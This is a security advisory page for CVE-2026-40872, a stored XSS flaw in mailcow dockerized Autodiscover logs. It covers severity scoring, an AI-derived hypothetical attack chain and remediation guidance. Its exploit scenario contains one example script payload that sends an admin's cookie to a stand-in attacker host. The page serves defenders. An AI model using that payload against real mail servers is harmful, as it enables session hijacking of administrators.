Skip to main content

mailcow dockerized CVE-2026-40872

| EUVDEUVD-2026-24254 CRITICAL
Cross-site Scripting (XSS) (CWE-79)
2026-04-21 GitHub_M
9.3
CVSS 4.0 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious Autodiscover XML request
  2. Delivery
    Submit unauthenticated request to target mailcow
  3. Exploit
    Payload persists in Redis logs
  4. Execution
    Admin views Autodiscover logs
  5. Persist
    JavaScript executes in admin session
  6. Impact
    Steal session tokens or perform admin actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the mailcow Autodiscover service to be network-accessible to the attacker (typical for internet-facing mail servers providing autoconfiguration to external email clients). No authentication is required to submit the malicious Autodiscover request. The attack completes when an administrator with access to the admin dashboard views the Autodiscover logs-a routine operational task in mail server administration. The vulnerability exists in default configurations where admin dashboard log rendering lacks output encoding. Attack success depends on admin behavioral patterns (log review frequency) rather than technical prerequisites, making it viable against standard mailcow deployments.

Impact

Real-world risk is elevated despite requiring user interaction. The CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:P) indicates network-accessible exploitation with low complexity requiring only that an admin view logs-a routine administrative task. The cross-scope impact ratings (SC:H/SI:H) correctly identify that compromise extends beyond the vulnerable component to admin sessions and potentially the entire mailcow infrastructure. No EPSS or KEV data provided, but GitHub Security Advisory (GHSA-f9xf-vc72-rcgm) confirms vendor acknowledgment. The attack targets administrators specifically, requiring no authentication for initial payload delivery, making this exploitable by external attackers against internet-facing mailcow instances. Exploitation likelihood increases in environments where admins regularly monitor Autodiscover logs for troubleshooting. The combination of unauthenticated write + admin-context execution elevates this above typical reflected XSS despite the UI:P requirement.

Exploit ScenarioDerived

An external attacker crafts an Autodiscover XML request with an EMailAddress field containing JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>). The attacker submits this unauthenticated request to the target mailcow server's Autodiscover endpoint, which logs the malicious EMailAddress to Redis. When a mailcow administrator accesses the admin dashboard and views Autodiscover logs for troubleshooting or monitoring, the unescaped payload executes in their browser session, enabling session hijacking, credential theft, or further administrative actions under the admin's privileges.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 21, 2026

Stored cross-site scripting in mailcow dockerized versions before 2026-03b enables remote attackers to execute arbitrary JavaScript in admin sessions by injecting malicious code through unauthenticated Autodiscover requests. The payload persists in Redis and triggers when administrators view Autodiscover logs on the admin dashboard. CVSS 9.3 reflects the network attack vector and high cross-scope impact, though exploitation requires admin interaction (UI:P) and no public exploit has been identified at time of analysis.

RemediationAI

Upgrade immediately to mailcow dockerized version 2026-03b or later, which implements HTML escaping for EMailAddress values in Autodiscover log rendering per vendor advisory at https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-f9xf-vc72-rcgm. For environments unable to patch immediately, implement network-level controls to restrict Autodiscover endpoint access to trusted IP ranges only (typically internal networks or VPN), though this may disrupt legitimate auto-configuration for remote users. Alternatively, configure Redis key expiration policies to limit log retention duration, reducing exposure window, but this does not prevent exploitation and only shortens payload persistence. Review existing Autodiscover logs for suspicious EMailAddress entries containing HTML tags or JavaScript before and after remediation. No workaround fully mitigates the vulnerability-upgrade is the only complete remediation.

Affected VersionsENISA

mailcow-dockerized < 2026-03b

Affected Packages

euvd mailcow_dockerized fix: 2026-03b

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability affects mailcow dockerized (CPE: cpe:2.3:a:mailcow:mailcow-dockerized), an open-source containerized groupware and email suite. The flaw is a classic stored XSS (CWE-79) in the admin dashboard's log viewing functionality. The Autodiscover service, which helps email clients auto-configure settings via XML requests, logs the EMailAddress field to Redis without sanitization. When rendering these logs in the admin interface, the application fails to HTML-escape stored values, allowing script injection. This architectural issue combines unauthenticated write capability (Autodiscover accepts external requests) with privileged read context (admin dashboard), creating a privilege escalation pathway from anonymous to admin-level execution.

Know when Mailcow gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
None

Lifecycle Timeline

4
Patch released
Apr 22, 2026 - 21:02 nvd
Patch available
Patch available
Apr 21, 2026 - 21:02 EUVD
CVSS changed
Apr 21, 2026 - 20:22 NVD
9.3 (CRITICAL)
CVE Published
Apr 21, 2026 - 19:14 nvd
CRITICAL 9.3

DescriptionGitHub Advisory

mailcow: dockerized is an open source groupware/email suite based on docker. In versions prior to 2026-03b, the admin dashboard's Autodiscover logs render the EMailAddress value (logged as the "user" field) without HTML escaping. By submitting an unauthenticated Autodiscover request with a crafted EMailAddress containing HTML/JS, the payload is stored in Redis and executed when an admin views the Autodiscover logs. Version 2026-03b fixes the vulnerability.

Executive ViewAI

Why It Matters

mailcow Dockerized versions before 2026-03b contain a stored cross-site scripting vulnerability in the Autodiscover feature that allows unauthenticated remote attackers to inject malicious JavaScript into administrator sessions. When admins view Autodiscover logs, the stored payload executes with full admin privileges, enabling account takeover, configuration tampering, and unauthorized access to email infrastructure. Organizations running affected mailcow instances face immediate risk to email system integrity and administrative controls.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to unauthenticated Autodiscover endpoints at the firewall or reverse proxy layer; (2) Disable Autodiscover feature entirely if not actively used; (3) Implement strict Content Security Policy (CSP) headers on admin dashboard to block inline script execution; (4) Monitor and regularly purge Autodiscover logs and Redis cache to minimize stored payload persistence; (5) Enforce multi-factor authentication for all administrator accounts to reduce impact of session compromise; (6) Isolate mailcow infrastructure on a dedicated VLAN with restricted egress filtering.

Threat Intelligence Overview

EPSS Score
0.0%
Top 85% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2017-8928 HIGH POC
8.8 May 14

mailcow 0.14, as used in "mailcow: dockerized" and other products, has CSRF. Rated high severity (CVSS 8.8), this vulner

CVE-2023-26490 HIGH POC
8.8 Mar 04

mailcow is a dockerized email package, with multiple containers linked in one bridged network. Rated high severity (CVSS

CVE-2022-31138 HIGH POC
8.8 Jul 11

mailcow is a mailserver suite. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, low attack co

CVE-2022-31245 HIGH POC
8.8 May 20

mailcow before 2022-05d allows a remote authenticated user to inject OS commands and escalate privileges to domain admin

CVE-2022-39258 HIGH POC
8.2 Sep 27

mailcow is a mailserver suite. Rated high severity (CVSS 8.2), this vulnerability is remotely exploitable, no authentica

CVE-2025-25198 HIGH POC
7.1 Feb 12

mailcow: dockerized is an open source groupware/email suite based on docker. Rated high severity (CVSS 7.1), this vulner

CVE-2024-30270 MEDIUM POC
6.2 Apr 04

mailcow: dockerized is an open source groupware/email suite based on docker. Rated medium severity (CVSS 6.2), this vuln

CVE-2024-31204 MEDIUM POC
6.1 Apr 04

mailcow: dockerized is an open source groupware/email suite based on docker. Rated medium severity (CVSS 6.1). Public ex

CVE-2026-40873 HIGH
8.9 Apr 21

Stored cross-site scripting (XSS) in mailcow: dockerized (versions prior to 2026-03b) allows remote unauthenticated atta

CVE-2023-34108 HIGH
8.8 Jun 07

mailcow is a mail server suite based on Dovecot, Postfix and other open source software, that provides a modern web UI f

CVE-2026-7460 HIGH
7.4 May 20

Stored cross-site scripting in the mailcow-dockerized administrator Queue Manager allows attackers who can influence Pos

CVE-2024-24760 HIGH
7.3 Feb 02

mailcow is a dockerized email package, with multiple containers linked in one bridged network. Rated high severity (CVSS

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy